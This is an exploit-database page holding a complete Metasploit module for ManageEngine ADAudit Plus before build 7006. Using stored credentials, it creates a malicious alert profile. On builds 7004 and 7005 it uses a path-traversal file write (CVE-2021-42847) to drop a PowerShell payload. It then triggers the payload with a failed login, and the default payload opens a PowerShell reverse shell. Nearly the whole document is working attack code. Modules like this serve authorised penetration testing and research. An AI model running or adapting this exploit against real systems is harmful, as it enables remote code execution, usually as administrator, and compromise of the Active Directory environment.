Author

metasploit

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-38676

Category

remote exploits

Date add

09-05-2023

CVE

CVE-2021-42847

Platform

windows

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',
        'Description' => %q{
          This module exploits security issues in ManageEngine ADAudit Plus
          prior to 7006 that allow authenticated users to execute arbitrary
          code by creating a custom alert profile and leveraging its custom
          alert script component.

          The module first runs a few checks to test the provided
          credentials, retrieve the configured domain(s) and obtain the
          build number of the target ADAudit Plus server.

          If the credentials are valid and the target is
          vulnerable, the module creates an alert profile that will be
          triggered for any failed login attempt to the configured domain.

          For versions prior to build 7004, the payload is directly inserted
          in the custom alert script component of the alert profile.

          For versions 7004 and 7005, the module leverages an arbitrary file
          write vulnerability (CVE-2021-42847) to create a Powershell script
          in the alert_scripts directory that contains the payload. The name
          of this script is then provided as the value for the custom alert
          script component of the alert profile.

          This module requires valid credentials for an account with the
          privileges to create alert scripts. It has been successfully tested
          against ManageEngine ADAudit Plus builds 7003 and 7005 running on
          Windows Server 2012 R2.

          Successful exploitation will result in RCE as the user running
          ManageEngine ADAudit Plus, which will typically be the local
          administrator.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Moon', # CVE-2021-42847 discovery
          'Erik Wynter' # @wyntererik - Additional research and Metasploit module
        ],
        'References' => [
          ['CVE', '2021-42847'],
          ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],
          ['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']
        ],
        'Privileged' => true,
        'DisclosureDate' => '2021-10-01',
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Windows Command',
            {
              'Type' => :win_cmd,
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8081,
          'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),
      OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),
    ])
  end

  def auth_domain
    datastore['AUTH_DOMAIN']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def delete_alert(adapcsrf_cookie)
    print_status("Attempting to delete alert profile #{@alert_name}")
    # let's try and get the the ID of the alert we want to delete
    res_get_alert = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'TAB_ID' => '5', # this cannot be randomized
        'adapcsrf' => adapcsrf_cookie
      }
    })

    unless res_get_alert
      print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
      return
    end

    unless res_get_alert.code == 200 && !res_get_alert.body.empty?
      print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
      return
    end

    alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first
    if alert_id.blank?
      print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
      return
    end

    # delete the alert
    res_delete_alert = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'data' => { 'ids' => [alert_id] }.to_json,
        'adapcsrf' => adapcsrf_cookie
      }
    })

    unless res_delete_alert
      print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
      return
    end

    unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')
      print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
      return
    end

    print_good("Successfully deleted alert profile #{@alert_name}")
  end

  def create_alert_profile
    if @exploit_method == 'cve_2021_42847'
      print_status('Attempting to authenticate again in order to retrieve the required cookies.')
      # We have to authenticate again in order to get the required cookie, so reset the cookie cache
      cookie_jar.clear
      login_results = adaudit_plus_login(auth_domain, username, password, true)
      login_msg = login_results['message']
      case login_results['status']
      when adaudit_plus_status::CONNECTION_FAILED
        fail_with(Failure::Unreachable, login_msg)
      when adaudit_plus_status::UNEXPECTED_REPLY
        fail_with(Failure::UnexpectedReply, login_msg)
      when adaudit_plus_status::NO_ACCESS
        fail_with(Failure::NoAccess, login_msg)
      when adaudit_plus_status::SUCCESS
        # just to distinguish it from any other potential statuses this method may return in the future
      else
        # this covers other potential statuses that this method may return in the future
        # note that here the login method should never return adaudit_plus_status::NO_DOMAINS
        # however, if it would do so due to some library change, treating it as an unknown failure makes sense
        fail_with(Failure::Unknown, login_msg)
      end

      # Code must have been a success related code so we should have
      # an adapcsrf_cookie entry within the login results hash.
      @adapcsrf_cookie = login_results['adapcsrf_cookie']
    end

    print_status('Attempting to create an alert profile')
    # visit /api/json/jsMessage to see if we're dealing with 7003 or lower
    res_check_7004 = send_request_cgi({
      'uri' => adaudit_api_js_message_uri,
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }
    })

    unless res_check_7004
      fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')
    end

    unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')
      fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')
    end

    alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\
    'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'

    if res_check_7004.body&.include?(alert_script_7004_msg)
      # we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847
      unless @exploit_method == 'cve_2021_42847'
        # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck
        gpo_watcher_status = gpo_watcher_data_check
        if gpo_watcher_status == adaudit_plus_status::SUCCESS
          @exploit_method = 'cve_2021_42847'
        else
          fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')
        end

        # here we have to authenticate again in order to get the required adapcsrf cookie
        cookie_jar.clear
        login_results = adaudit_plus_login(auth_domain, username, password, true)
        login_msg = login_results['message']
        case login_results['status']
        when adaudit_plus_status::CONNECTION_FAILED
          fail_with(Failure::Unreachable, login_msg)
        when adaudit_plus_status::UNEXPECTED_REPLY
          fail_with(Failure::UnexpectedReply, login_msg)
        when adaudit_plus_status::NO_ACCESS
          fail_with(Failure::NoAccess, login_msg)
        when adaudit_plus_status::SUCCESS
          # just to distinguish it from any other potential statuses this method may return in the future
        else
          fail_with(Failure::Unknown, login_msg)
        end

        @adapcsrf_cookie = login_results['adapcsrf_cookie']
      end

      # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name
      # when creating the alert profile. Therefore call the function to create this alert script and save the name of the
      # script location.
      @ps1_script_name = create_alert_script
    end

    # save the alert profile
    @alert_name, alert_data = alert_profile_info
    res_save_alert = send_request_cgi({
      'uri' => adaudit_api_alertprofiles_save_uri,
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'data' => alert_data,
        'adapcsrf' => @adapcsrf_cookie
      }
    })

    unless res_save_alert
      fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
    end

    unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')
      print_error("The server sent the following response: #{res_save_alert.body&.strip}")
      @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil
      fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
    end

    print_good("Successfully created alert profile #{@alert_name}")
  end

  def alert_profile_info
    script_location = @ps1_script_name || payload.encoded

    alert_name = rand_text_alphanumeric(8..12)
    alert_data = {
      'alertName' => alert_name,
      'alertDescription' => rand_text_alpha(20..30),
      'alertSeverity' => '1',
      'alertMsg' => '%FORMAT_MESSAGE%',
      'alertIsMailNotify' => false,
      'alertIsSMSNotify' => false,
      'monitorList' => [1],
      'selectedCategory' => 'All',
      'domainName' => @domain,
      'isSave' => true,
      'alertProfileId' => 'new',
      'thresholdBasedAlert' => false,
      'thresholdCount' => rand(5..15),
      'thresholdPeriod' => '=',
      'thresholdInterval' => rand(3..10),
      'thresholdGroupingColumns' => [],
      'throttleBasedAlert' => false,
      'throttleInterval' => rand(30..90),
      'throttleGroupingColumns' => [],
      'userMap' => {},
      'hourBasedAlert' => false,
      'contentType' => 'html',
      'alertMsgNeeded' => true,
      'alertProfileNameNeeded' => true,
      'mailAlertLink' => '',
      'eventDetails' => true,
      'emailMoreRecipients' => '',
      'smsMoreRecipients' => '',
      'scriptLocation' => script_location,
      'alertFilter' => false,
      'criteriaValue' => '-'
    }.to_json

    # we need to send along the alert name too since we'll need it to delete the alert after it's been created
    [alert_name, alert_data]
  end

  def create_alert_script
    ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"
    print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")

    if @domain.blank?
      @domain = "#{rand_text_alpha_lower(5..10)}.local"
      vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
    end

    gpo_post_data = {
      'DOMAIN_NAME' => @domain,
      'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed
      'htmlReport' => payload.encoded
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => adaudit_plus_gpo_watcher_data_uri,
      'ctype' => 'application/json',
      'data' => generate_gpo_watcher_data_json(gpo_post_data)
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    unless res.code == 200 && res.body&.include?('{"success":true}')
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
    end

    print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")
    ps1_script_name
  end

  def check
    target_check_results = adaudit_plus_target_check
    target_check_msg = target_check_results['message']
    case target_check_results['status']
    when adaudit_plus_status::CONNECTION_FAILED
      return CheckCode::Unknown(target_check_msg)
    when adaudit_plus_status::UNEXPECTED_REPLY
      return CheckCode::Safe(target_check_msg)
    when adaudit_plus_status::SUCCESS
      vprint_status(target_check_msg)
    else
      # this covers cases that may be added in the future
      return CheckCode::Unknown(target_check_msg)
    end

    target_check_res = target_check_results['server_response']

    # In order to trigger the final payload in the exploit method, we will need to send an authentication request to
    # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,
    # we can try to extract the FQDN for a configured domain from the server response
    domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)
    domain_alias_msg = domain_alias_results['message']
    if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS
      return CheckCode::Safe(domain_alias_msg)
    end

    domain_aliases = domain_alias_results['domain_aliases']
    # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable
    if domain_aliases.blank?
      return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')
    end

    # if the only configured domain is the default domain, we will not be able to trigger the payload, so
    # stop as there is no point in proceeding
    if domain_aliases == ['ADAuditPlus Authentication']
      return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
    end

    # set the domain alias to the first configured domain, unless the user provided an invalid domain
    # in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding
    if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)
      vprint_status(domain_alias_msg)
      @domain_alias = domain_aliases.first
      print_status("Using configured authentication domain alias #{@domain_alias}.")
    else
      # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
      print_status(domain_alias_msg)
      return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
    end

    print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")
    login_results = adaudit_plus_login(auth_domain, username, password, false)
    login_msg = login_results['message']
    case login_results['status']
    when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY
      return CheckCode::Unknown(login_msg)
    when adaudit_plus_status::NO_ACCESS, NO_DOMAINS
      # if we cannot authenticate, we can't create an alert profile so exploitation is impossible
      # if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible
      return CheckCode::Safe(login_msg)
    when adaudit_plus_status::SUCCESS
      @domain = login_results['configured_domains'].first
      vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
    end

    print_good('Successfully authenticated')
    @adapcsrf_cookie = login_results['adapcsrf_cookie']

    # check the build version to see if we can actually exploit the target
    build_results = adaudit_plus_grab_build(@adapcsrf_cookie)
    build_msg = build_results['message']
    unless build_results['status'] == adaudit_plus_status::SUCCESS
      # if we don't get a valid build number, we don't know what the target is, so we can't proceed
      # however, we can also not say that the target is safe or detected, so we return Unknown
      return CheckCode::Unknown(build_msg)
    end

    build_version = build_results['build_version']

    if build_version < Rex::Version.new('7004')
      @exploit_method = 'default'
      CheckCode::Appears("The target is ADAudit Plus #{build_version}")
    # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists
    elsif build_version < Rex::Version.new('7006')
      gpo_watcher_status = gpo_watcher_data_check
      case gpo_watcher_status
      when adaudit_plus_status::SUCCESS
        @exploit_method = 'cve_2021_42847'
        return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")
      when adaudit_plus_status::CONNECTION_FAILED
        return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")
      when adaudit_plus_status::NO_ACCESS
        return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")
      end
    else
      CheckCode::Safe("The target is ADAudit Plus #{build_version}")
    end
  end

  def exploit
    if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method
      @exploit_method = 'default'
    elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/
      print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')
      print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')
    end

    if @adapcsrf_cookie.blank?
      # let's clear the cookie jar and try to authenticate
      cookie_jar.clear
      print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")
      login_results = adaudit_plus_login(auth_domain, username, password, false)
      login_msg = login_results['message']
      case login_results['status']
      when adaudit_plus_status::CONNECTION_FAILED
        fail_with(Failure::Unreachable, login_msg)
      when adaudit_plus_status::UNEXPECTED_REPLY
        fail_with(Failure::UnexpectedReply, login_msg)
      when adaudit_plus_status::NO_ACCESS
        fail_with(Failure::NoAccess, login_msg)
      when adaudit_plus_status::NO_DOMAINS
        fail_with(Failure::NotVulnerable, login_msg)
      when adaudit_plus_status::SUCCESS
        @domain = login_results['configured_domains'].first
        vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
      else
        # this covers other potential statuses that may be added in the future
        fail_with(Failure::Unknown, login_msg)
      end

      print_good('Successfully authenticated')
      @adapcsrf_cookie = login_results['adapcsrf_cookie']
    end

    # let's create the alert profile
    create_alert_profile

    # time to trigger the payload
    if @domain_alias.nil?
      # this means check didn't run, so we need to obtain the configured Active Directory domains
      target_check_results = adaudit_plus_target_check
      target_check_status = target_check_results['status']
      target_check_msg = target_check_results['message']
      unless target_check_status == adaudit_plus_status::SUCCESS
        print_error('Failed to obtain the configured Active Directory domain aliases')
        case target_check_status
        when adaudit_plus_status::CONNECTION_FAILED
          fail_with(Failure::Unreachable, target_check_msg)
        when adaudit_plus_status::UNEXPECTED_REPLY
          fail_with(Failure::UnexpectedReply, target_check_msg)
        else
          # this covers other potential statuses that this method may return in the future
          fail_with(Failure::Unknown, target_check_msg)
        end
      end

      target_check_res = target_check_results['server_response']
      fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?

      # In order to trigger the final payload in the exploit method, we will need to send an authentication request to
      # ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,
      # we can try to extract the FQDN for a configured domain from the server response.
      domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)
      domain_alias_msg = domain_alias_results['message']
      case domain_alias_results['status']
      when adaudit_plus_status::NO_DOMAINS
        fail_with(Failure::NotVulnerable, domain_alias_msg)
      when adaudit_plus_status::SUCCESS
        # make sure we actually have a domain alias, otherwise the target is not vulnerable
        if domain_alias_results['domain_aliases'].blank?
          fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')
        end
      else
        fail_with(Failure::Unknown, domain_alias_msg)
      end

      domain_aliases = domain_alias_results['domain_aliases']
      # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed
      if domain_aliases == ['ADAuditPlus Authentication']
        fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
      end

      # set the domain alias to the first configured domain, unless the user provided an invalid domain
      # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed
      if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)
        vprint_status(domain_alias_msg)
        @domain_alias = domain_aliases.first
        print_status("Using configured authentication domain alias #{@domain_alias}.")
      else
        # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
        print_status(domain_alias_msg)
        fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
      end
    end

    print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")
    login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)
    login_msg = login_results['message']
    manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."
    case login_results['status']
    when adaudit_plus_status::CONNECTION_FAILED
      fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")
    when adaudit_plus_status::UNEXPECTED_REPLY
      fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")
    when adaudit_plus_status::NO_ACCESS
      print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")
    when adaudit_plus_status::SUCCESS
      fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")
    else
      print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')
    end

    @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session
  end

  def cleanup
    return unless @alert_name # this should only run if we actually created an alert

    if @pwned == 0
      print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')
    end
    cookie_jar.clear
    login_results = adaudit_plus_login(auth_domain, username, password, true)
    case login_results['status']
    when adaudit_plus_status::SUCCESS
      delete_alert(login_results['adapcsrf_cookie'])
    when adaudit_plus_status::CONNECTION_FAILED
      print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')
    when adaudit_plus_status::UNEXPECTED_REPLY
      print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')
    when adaudit_plus_status::NO_ACCESS
      print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')
    else
      # this covers other potential statuses that this method may return in the future
      # note that here the login method should never return adaudit_plus_status::NO_DOMAINS
      # however, if it would do so due to some library change, treating it as unexpected reply makes sense
      print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')
    end
  end

  def on_new_session(cli)
    @pwned += 1
    # if we wrote a PowerShell script to /alert_scripts, remind the user to delete it
    # we may get two shells, so let's not repeat ourselves
    if @pwned == 1
      # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically
      # but when loading them manually, they worked it fine
      if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason
        print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")
      end

      if @ps1_script_name
        # meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script
        print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")
      end
    end
    super
  end
end

#  0day.today [2024-11-15]  #